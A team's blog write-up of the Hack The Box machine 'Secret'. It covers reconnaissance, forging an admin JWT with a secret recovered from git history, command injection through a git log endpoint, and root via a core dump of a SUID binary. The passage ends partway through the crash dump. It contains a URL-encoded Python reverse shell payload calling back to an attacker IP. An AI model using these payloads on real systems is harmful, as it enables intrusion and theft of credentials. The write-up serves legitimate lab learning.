Writeup for the easy ranked HTB box Secret

Posted on Dec 27, 2022


This writeup describes how I approached the box Secret from Hack The Box (https://www.hackthebox.eu). The box is based on Linux and it is rated easy. Tools and techniques used in this hack are Nmap, Dirb, Ffuf, Firefox, Burpsuite, Curl, Javascript, Git, JSon and JWT.

My style of writeups is to describe how I was thinking when attacking them. My personal opinion is that I learn from analysing my process over and over again, and you learn more from understanding the process than just following a guide. So if you just want a step by step guide perhaps it´s best to look elsewhere. :)

My environment for this hack is an old Mac Book with Kali Linux 2021.3 and Docker. I use Docker to great extent and try to keep most stuff inside containers. But to avoid too much confusing portmapping I often start my http.servers and Netcat listeners on the host machine in bash. That´s just the way i approach things, keep an eye on that promt to know where I am! ;)

It´s also worth mentioning that we attacked this box as team working together 6 people from Cybix (Christian, Eric, Emil, Johan, Ulf and Carl).


So what information can we gather about the box before even starting. The name of the box is Secret. When I started an instance of the box on the VIP network it got ip-address The box is based on Linux and it’s rated easy.

This is how Hack The Box announced it on Twitter:

“First rule of #hacking club: you do not talk about hacking club Zipper-mouth face Secret #Easy #Linux Machine created by z9fr will go live 30 Oct 2021 at 19:00:00. Explore will be retired! Join now: https://hackthebox.eu

That’s about everything we know about the box, so lets get going.


Scanning network with Nmap

First of all let´s use Nmap to check what ports are open on the ip-address that we have and what services that run behind them.

└─$ sudo nmap -T4 -sV -sC -A

Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-04 14:55 CET
Nmap scan report for
Host is up (0.040s latency).
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
1   41.71 ms
2   38.94 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.03 seconds

It seems we hav an Nginx http-server on port 80, there’s a NodeJS application with Express middleware on port 3000 and OpenSSH on port 22.

Scanning for subdomains with ffuf

Let´s see if we can find any subdomains using the ffuf tool.

└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u -H 'Host: FUZZ.secret.htb' -fs 12872

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3

 :: Method           : GET
 :: URL              :
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.secret.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 12872

:: Progress: [114441/114441] :: Job [1/1] :: 826 req/sec :: Duration: [0:02:46] :: Errors: 0 ::

No, we did not find any subdomains, so let´s leave that for now.

Scanning http-server for vulnerabilities with Nikto

Let´s do a vulnerability scan of the Nginx http-server and the NojeJS application.

└─$ nikto -h       
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2021-11-04 15:05:56 (GMT1)
+ Server: nginx/1.18.0 (Ubuntu)
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7916 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2021-11-04 15:11:55 (GMT1) (359 seconds)
+ 1 host(s) tested

      Portions of the server's headers (nginx/1.18.0) are not in
      the Nikto 2.1.6 database or are newer than the known string. Would you like
      to submit this information (*no server specific data*) to CIRT.net
      for a Nikto update (or you may email to [email protected]) (y/n)? n

Nothing of interest was found while scanning Nginx on port 80.

└─$ nikto -h
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        3000
+ Start Time:         2021-11-04 15:16:59 (GMT1)
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7918 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2021-11-04 15:23:08 (GMT1) (369 seconds)
+ 1 host(s) tested

And nothing of interest was found scanning the NodeJS application on port 3000.

Scanning http-server for content with DIRB

Let´s scan the Nginx http-server for content using dirb.

└─$ dirb            

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Nov  4 15:03:12 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:93)                                 
+ (CODE:301|SIZE:179)                             
+ (CODE:200|SIZE:20720)                             
+ (CODE:301|SIZE:183)                           
END_TIME: Thu Nov  4 15:06:33 2021

Ok, we found few endpoint but nothing that interesting. While we are at it, let´s scan the NodeJS application running och port 3000 aswell.

└─$ dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Nov  4 15:08:01 2021
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:93)                            
+ (CODE:301|SIZE:179)                        
+ (CODE:200|SIZE:20720)                        
+ (CODE:301|SIZE:183)                      
END_TIME: Thu Nov  4 15:11:17 2021

After scanning both port 80 and port 3000 it pretty much looks like it´s the same application exposed on both ports but with Nginx as a front on port 80. At least we found the same endpoints at both places.

Manual inspection of the site

Let´s check out the site in Firefox.


Let’s use curl and diff to verify what we suspect, that it’s the same application on port 80 and 3000.

└─$ curl > index.html
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 12872  100 12872    0     0   155k      0 --:--:-- --:--:-- --:--:--  155k
└─$ curl > index2.html
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 12872  100 12872    0     0   157k      0 --:--:-- --:--:-- --:--:--  157k
└─$ diff index.html index2.html 

Yes there is absolutley no diff between the html that we get on the different ports. Let´s asume that it´s the same application behind both ports for now. Now let´s dig deeper into the site.

source code

In the bottom of the page we find a button that let´s us download some source code. let´s download it and see what it is.

└─$ unzip files.zip 
Archive:  files.zip
   creating: local-web/
   creating: local-web/node_modules/
   creating: local-web/node_modules/get-stream/
  inflating: local-web/node_modules/get-stream/buffer-stream.js  
  inflating: local-web/node_modules/get-stream/index.js  
  inflating: local-web/node_modules/get-stream/license  
  inflating: local-web/node_modules/get-stream/package.json  
  inflating: local-web/node_modules/get-stream/readme.md  
   creating: local-web/node_modules/end-of-stream/
  inflating: local-web/node_modules/end-of-stream/index.js  
  inflating: local-web/node_modules/end-of-stream/package.json  
  inflating: local-web/node_modules/end-of-stream/README.md  
  inflating: local-web/node_modules/end-of-stream/LICENSE  

That´s a LOT of files. Looking at the structure of it that’s a NodeJS application. There’s a node_module directore present and a package.json and so on. But scrolling through the list of files and directories that was uncompressed we find this:

  creating: local-web/.git/
 extracting: local-web/.git/HEAD     
  inflating: local-web/.git/description  
   creating: local-web/.git/branches/
   creating: local-web/.git/logs/
  inflating: local-web/.git/logs/HEAD  
   creating: local-web/.git/logs/refs/
   creating: local-web/.git/logs/refs/heads/
  inflating: local-web/.git/logs/refs/heads/master  
   creating: local-web/.git/objects/
   creating: local-web/.git/objects/e4/
 extracting: local-web/.git/objects/e4/76d6e89fc72d655ea5bce9a7f1864726107f89  
 extracting: local-web/.git/objects/e4/2f1158656b01ca982f470ca5eb78d524992d6b  
 extracting: local-web/.git/objects/e4/6549dec8a4bb451e4104f230f7f84ba746d7c0  
 extracting: local-web/.git/objects/e4/4f53c7a6ba0e7d6aae5cfec41119712bf472c6  
 extracting: local-web/.git/objects/e4/66760b3718d831c4036a39a6cbc67fcc475af8  
 extracting: local-web/.git/objects/e4/2800b59ffe5d17fb355d3d7d71a3bf98e0d6bd  
 extracting: local-web/.git/objects/e4/f3d05ba3477be74d89cbf092523cb2d6dd900f  

It actually looks like we got a complete git repository here. But before examinig that further, let´s start to play around some more with the site to see if we can gain some access.

Gaining Access

Register a user and get a valid JWT

There´s actually documentation about how to use the api that the NodeJS application exposes to register a user and login.

register user

We can´t really see where this is leading right now but it seems like a good thing to start poking around and see if there´s something we can abuse. So let´s follow the instructions and try to register a new user using curl.

└─$ curl -X POST -H 'Content-Type: application/json' -d '{"name":"hacker","email":"[email protected]","password":"abc123"}'

According to the documentation on the site that is the correct reply if registration is successfull. Now let´s checkout how to login.

login user

That does not seem so hard. If we are successfull we should get an jwt that we can use for further authentication. Let´s try that.

└─$ curl -X POST -H 'Content-Type: application/json' -d '{"email":"[email protected]","password":"abc123"}'

That seems to work aswell. So now we have JWT for a user that we registered. Further down on the page there ar instructions of how to access a private route using the JWT. Let´s try it.

└─$ curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoiaGFja2VyIiwiZW1haWwiOiJoYWNrZXJAY3liaXguc2UiLCJpYXQiOjE2MzYwMzg4MDF9.nfjVUhmStrGDd2ql2r2g4O5cMx2dkcpesXc0IoghYqE '
{"role":{"role":"you are normal user","desc":"hacker"}}  

Yes our JWT works, now it´s time to read some sourcecode and see if we can find something interesting that we can do with it.

Reading the source code

First of all let´s take a look at the structure.

└─$ ls
index.js  node_modules  package-lock.json  routes  validations.js
model     package.json  public             src

It´s a classic NodeJS application with express. While reading the different javascripts we find one that is interesting (routes/private.js).

const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    if (name == 'theadmin'){
                desc : "welcome back admin,"
            role: {
                role: "you are normal user",
                desc: userinfo.name.name

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            role: {
                role: "you are normal user",
                desc: userinfo.name.name

router.use(function (req, res, next) {
        message: {

            message: "404 page not found",
            desc: "page you are looking for is not found. "

module.exports = router

Reading through that code it seems like we can get administrator rights if we manage to change the username to “theadmin”. It does not seem that we can do much fun with it but it´s worth examining further. To be able to get a JWT token for a user called “theadmin” we need to change the JWT we got and sign it again with the secret key. Let´s see if we can find that in the source code.

└─$ grep -R TOKEN                                           
public/assets/plugins/gumshoe/.github/main.workflow:  secrets = ["NPM_AUTH_TOKEN"]
node_modules/nodemon/.travis.yml:  - if [ "$TRAVIS_PULL_REQUEST_BRANCH" == "" ]; then echo "//registry.npmjs.org/:_authToken=\${NPM_TOKEN}" >> .npmrc; fi
node_modules/mongodb/lib/core/auth/mongodb_aws.js:    const token = credentials.mechanismProperties.AWS_SESSION_TOKEN;
node_modules/mongodb/lib/core/auth/mongodb_aws.js:          AWS_SESSION_TOKEN: creds.Token
node_modules/mongodb/lib/core/auth/mongo_credentials.js:      if (!this.mechanismProperties.AWS_SESSION_TOKEN && process.env.AWS_SESSION_TOKEN) {
node_modules/mongodb/lib/core/auth/mongo_credentials.js:        this.mechanismProperties.AWS_SESSION_TOKEN = process.env.AWS_SESSION_TOKEN;
node_modules/content-type/index.js:var TOKEN_REGEXP = /^[!#$%&'*+.^_`|~0-9A-Za-z-]+$/
node_modules/content-type/index.js:      if (!TOKEN_REGEXP.test(param)) {
node_modules/content-type/index.js:  if (TOKEN_REGEXP.test(str)) {
node_modules/got/readme.md:     key: process.env.ACCESS_TOKEN,
node_modules/got/readme.md:     secret: process.env.ACCESS_TOKEN_SECRET
.env:TOKEN_SECRET = secret
routes/verifytoken.js:        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
routes/auth.js:    const token = jw

We get a lot of hits but in the end we find .env:TOKEN_SECRET = secret It’s not very likley that the secret is “secret” so at this point we scratched our heads for a while until we realised that this is a git repository. There could be other revisions to check out.

└─$ git log                                                 
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <[email protected]>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <[email protected]>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit

Aha, removed .env for security reasons that´s promising let´s get a revison before that was removed, how about the first commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8.

└─$ git checkout 55fe756a29268f9b4e786ae468952ca4a8df1bd8   
Note: switching to '55fe756a29268f9b4e786ae468952ca4a8df1bd8'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 55fe756 first commit
└─$ cat .env             
DB_CONNECT = 'mongodb://'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

YES!!! We have the secret. Now we should be able to use jwt.io to parse our JWT, change the username to “theadmin” and use the secret to sign it so that it´s valid. Let´s go to https://jwt.io.


We paste in out token. Change the name from hacker to theadmin and paste our secret into the field that says your-256-bit-secret. And then we have a new JWT that we can copy and use.

└─$ curl -X GET -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}    

Hallelujah!!! We are authenticated as admin. But what can we actually do with it? At this point we struggled a bit and tried using the JWT via Burpsuite to see if any new stuff would show up on the web page. But there was nothing.

So we decided to dig some more into the git repository. Perhaps some other revisions show us some clues.

└─$ git show e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD, master)
Author: dasithsv <[email protected]>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

diff --git a/routes/private.js b/routes/private.js
index 1347e8c..cf6bf21 100644
--- a/routes/private.js
+++ b/routes/private.js
@@ -11,10 +11,10 @@ router.get('/priv', verifytoken, (req, res) => {
     if (name == 'theadmin'){
-            role:{
-                role:"you are admin", 
-                desc : "{flag will be here}"
+            creds:{
+                role:"admin", 
+                username:"theadmin",
+                desc : "welcome back admin,"
@@ -26,7 +26,32 @@ router.get('/priv', verifytoken, (req, res) => {
+router.get('/logs', verifytoken, (req, res) => {
+    const file = req.query.file;
+    const userinfo = { name: req.user }
+    const name = userinfo.name.name;
+    if (name == 'theadmin'){
+        const getLogs = `git log --oneline ${file}`;
+        exec(getLogs, (err , output) =>{
+            if(err){
+                res.status(500).send(err);
+                return
+            }
+            res.json(output);
+        })
+    }
+    else{
+        res.json({
+            role: {
+                role: "you are normal user",
+                desc: userinfo.name.name
+            }
+        })
+    }
 router.use(function (req, res, next) {
@@ -40,4 +65,4 @@ router.use(function (req, res, next) {
-module.exports = router
\ No newline at end of file
+module.exports = router

BINGO!!! There´s another endpoint called logs that responds to get requests. And there’s a call to exec that obviously is vulnerable to injection.

    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{

This is our target we need to call the logs endpoint using our admin JWT and inject some code into $FILE.

Building a payload to get RCE

All we need to do is using a semicolong to spawn another command right after the hardcoded git command. We want it too execute this:

git log --oneline .; whoami

Let´s build and deliver our payload.

└─$ curl -X GET ";%20whoami" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\ndasith\n"    

YES, we got ourselves RCE. dasith\n it seems as whoami returned the username dasith. A username that we have seen before in the git logs.

Now we struggled a little bit again. We tried several different reverse shells for bash. But at last we ended up having success using one for python3 that we generated using https://www.revshells.com/


Let´s start a listener using netcat.

└─$ nc -lvp 1337
listening on [any] 1337 ...

Deliver our reverse shell payload.

└─$ curl -X GET ";%20export%20RHOST=%2210.10.14.48%22;export%20RPORT=1337;python3%20-c%20'import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));%5Bos.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)%5D;pty.spawn(%22sh%22)'" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'


└─$ nc -lvp 1337
listening on [any] 1337 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 38482
$ whoami
$ cd ~
cd ~
$ cat user.txt
cat user.txt

YES, we have our reverse shell. We are the user dasith and we got ourselves a user flag for our foothold

Privilege escalation to root / Administrator

First thing we should check is always if we have any priveliged commands using sudo -l. Though we do not have dasith:s password so we can´t do that. At this time we uploaded linpeas.sh from https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS and run it. We did not find anything interesting and struggled for quite some time.

We actually stumbled into an interesting file just by chance after an hour or so. It turns out that linpeas does not look for files with the SUID flag everywhere as you could expect. What we should have done is this:

$ find . -perm /4000 2>/dev/null
find . -perm /4000 2>/dev/null

What stands out in that list is ./opt/count what is that?

$ cd /opt
cd /opt
$ ls -la
ls -la
total 56
drwxr-xr-x  2 root root  4096 Oct  7 10:06 .
drwxr-xr-x 20 root root  4096 Oct  7 15:01 ..
-rw-r--r--  1 root root  3736 Oct  7 10:01 code.c
-rw-r--r--  1 root root 16384 Oct  7 10:01 .code.c.swp
-rwsr-xr-x  1 root root 17824 Oct  7 10:03 count
-rw-r--r--  1 root root  4622 Oct  7 10:04 valgrind.log

Aha, we have an executable with the suid bit set and it seems we also have the source code for it.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
        printf("\nUnable to open directory.\n");
    while ((ent = readdir(dir)) != NULL)
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
            else if(S_ISLNK(fstat.st_mode))
            else if(S_ISREG(fstat.st_mode))
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        printf ("\t%s\n", ent->d_name);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);

void filecount(const char *path, char *summary)
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
        if (ch == '\n' || ch == '\0')
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')

    if (characters > 0)

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);

int main()
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    stat(path, &path_s);
        dircount(path, summary);
        filecount(path, summary);

    // drop privs to limit file write
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
        } else {
            printf("Could not open %s for writing\n", path);

    return 0;

Looking att the source code for a while it seems. The user can tell it what file or directory to use. The executable escalate privileges and read through files and directories then it drops the priveleges and ask the user if it should write a report to a file.

It uses a file pointer to read through files and count characters and words but it does not seem as the file is ever closed. There´s also a comment in the source code that says that it enables core dumps.

The theory here is to use the program to read a sensitive file with root privileges and then crash the program to make it dump all it´s memory. Hopefully we can then read the sensitive data from that dump.

Let´s try to run the program, go straight for the juice and see what we get.

$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: y
Path: /tmp/test
$ cat /tmp/test
cat /tmp/test
Total characters = 2602
Total words      = 45
Total lines      = 39

The program obviously seems to work. There´s a id_rsa file there and we can read it. Now we need to crash the program. We spend about an hour here trying to give the program strange character in the path, recursive symlinks and some more stuff but we did not get it to crash.

Time ran out since we were heading for an after work with food and beer. But during the car trip downtown we googled a bit and found this:


We can make the process core dump by sending a signal to it. How conveniant that it´s waiting for our input while the file is still open. Let´s try this. (The rest of this hack was performed on a pub while drinking beer :) )

$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: 

The program is running, let´s keep it there and start another listener.

└─$ nc -lvp 1338
listening on [any] 1338 ...

Change our payload to the new port on 1338 and launch it.

└─$ curl -X GET ";%20export%20RHOST=%2210.10.14.48%22;export%20RPORT=1338;python3%20-c%20'import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));%5Bos.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)%5D;pty.spawn(%22sh%22)'" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzZjUzMzlmY2NmZTA0NzNkM2NkMDUiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImhhY2tlckBjeWJpeC5zZSIsImlhdCI6MTYzNjAzODgwMX0.l4cxsadw3WUt8bI-iCeWNkcq7q4Sba2TYe2y4Ut7QjA'

We get another reverse shell.

└─$ nc -lvp 1338
listening on [any] 1338 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 43000

Let’s find out the pid of our count process.

$ ps -a
ps -a
    PID TTY          TIME CMD
  32970 pts/0    00:00:00 count
  33005 pts/1    00:00:00 ps

So now we want to send SIGABRT to the process 32970 and hopefully it will then crash. A quick google shows that SIGABRT is signal 6. Let´s do it.

$ kill -6 32970
kill -6 32970

And what happened to our process?

$ ./count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: Aborted (core dumped)

Seems like we succeeded. Let´s check out the dump.

$ ls /var/crash
ls /var/crash
_opt_count.0.crash  _opt_count.1000.crash  _opt_countzz.0.crash
$ ls -la /var/crash
ls -la /var/crash
total 92
drwxrwxrwt  2 root   root    4096 Nov  4 16:55 .
drwxr-xr-x 14 root   root    4096 Aug 13 05:12 ..
-rw-r-----  1 root   root   27203 Oct  6 18:01 _opt_count.0.crash
-rw-r-----  1 dasith dasith 31268 Nov  4 16:55 _opt_count.1000.crash
-rw-r-----  1 root   root   24048 Oct  5 14:24 _opt_countzz.0.crash
$ cat /var/crash/_opt_count.1000.crash
cat /var/crash/_opt_count.1000.crash
ProblemType: Crash
Architecture: amd64
Date: Thu Nov  4 16:55:27 2021
DistroRelease: Ubuntu 20.04
ExecutablePath: /opt/count
ExecutableTimestamp: 1633601037
ProcCmdline: ./count
ProcCwd: /opt
 PATH=(custom, no user)
 562331402000-562331403000 r--p 00000000 fd:00 393236                     /opt/count
 562331403000-562331404000 r-xp 00001000 fd:00 393236                     /opt/count
 562331404000-562331405000 r--p 00002000 fd:00 393236                     /opt/count
 562331405000-562331406000 r--p 00002000 fd:00 393236                     /opt/count
 562331406000-562331407000 rw-p 00003000 fd:00 393236                     /opt/count
 56233226e000-56233228f000 rw-p 00000000 00:00 0                          [heap]
 7f58ff0da000-7f58ff0ff000 r--p 00000000 fd:00 55911                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
 7f58ff0ff000-7f58ff277000 r-xp 00025000 fd:00 55911                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
 7f58ff277000-7f58ff2c1000 r--p 0019d000 fd:00 55911                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
 7f58ff2c1000-7f58ff2c2000 ---p 001e7000 fd:00 55911                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
 7f58ff2c2000-7f58ff2c5000 r--p 001e7000 fd:00 55911                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
 7f58ff2c5000-7f58ff2c8000 rw-p 001ea000 fd:00 55911                      /usr/lib/x86_64-linux-gnu/libc-2.31.so
 7f58ff2c8000-7f58ff2ce000 rw-p 00000000 00:00 0 
 7f58ff2d7000-7f58ff2d8000 r--p 00000000 fd:00 55880                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
 7f58ff2d8000-7f58ff2fb000 r-xp 00001000 fd:00 55880                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
 7f58ff2fb000-7f58ff303000 r--p 00024000 fd:00 55880                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
 7f58ff304000-7f58ff305000 r--p 0002c000 fd:00 55880                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
 7f58ff305000-7f58ff306000 rw-p 0002d000 fd:00 55880                      /usr/lib/x86_64-linux-gnu/ld-2.31.so
 7f58ff306000-7f58ff307000 rw-p 00000000 00:00 0 
 7fff37c38000-7fff37c59000 rw-p 00000000 00:00 0                          [stack]
 7fff37dd6000-7fff37dd9000 r--p 00000000 00:00 0                          [vvar]
 7fff37dd9000-7fff37dda000 r-xp 00000000 00:00 0                          [vdso]
 ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
 Name:  count
 Umask: 0022
 State: S (sleeping)
 Tgid:  32970
 Ngid:  0
 Pid:   32970
 PPid:  1919
 TracerPid:     0
 Uid:   1000    1000    1000    1000
 Gid:   1000    1000    1000    1000
 FDSize:        64
 Groups:        1000 
 NStgid:        32970
 NSpid: 32970
 NSpgid:        32970
 NSsid: 1919
 VmPeak:            2488 kB
 VmSize:            2488 kB
 VmLck:        0 kB
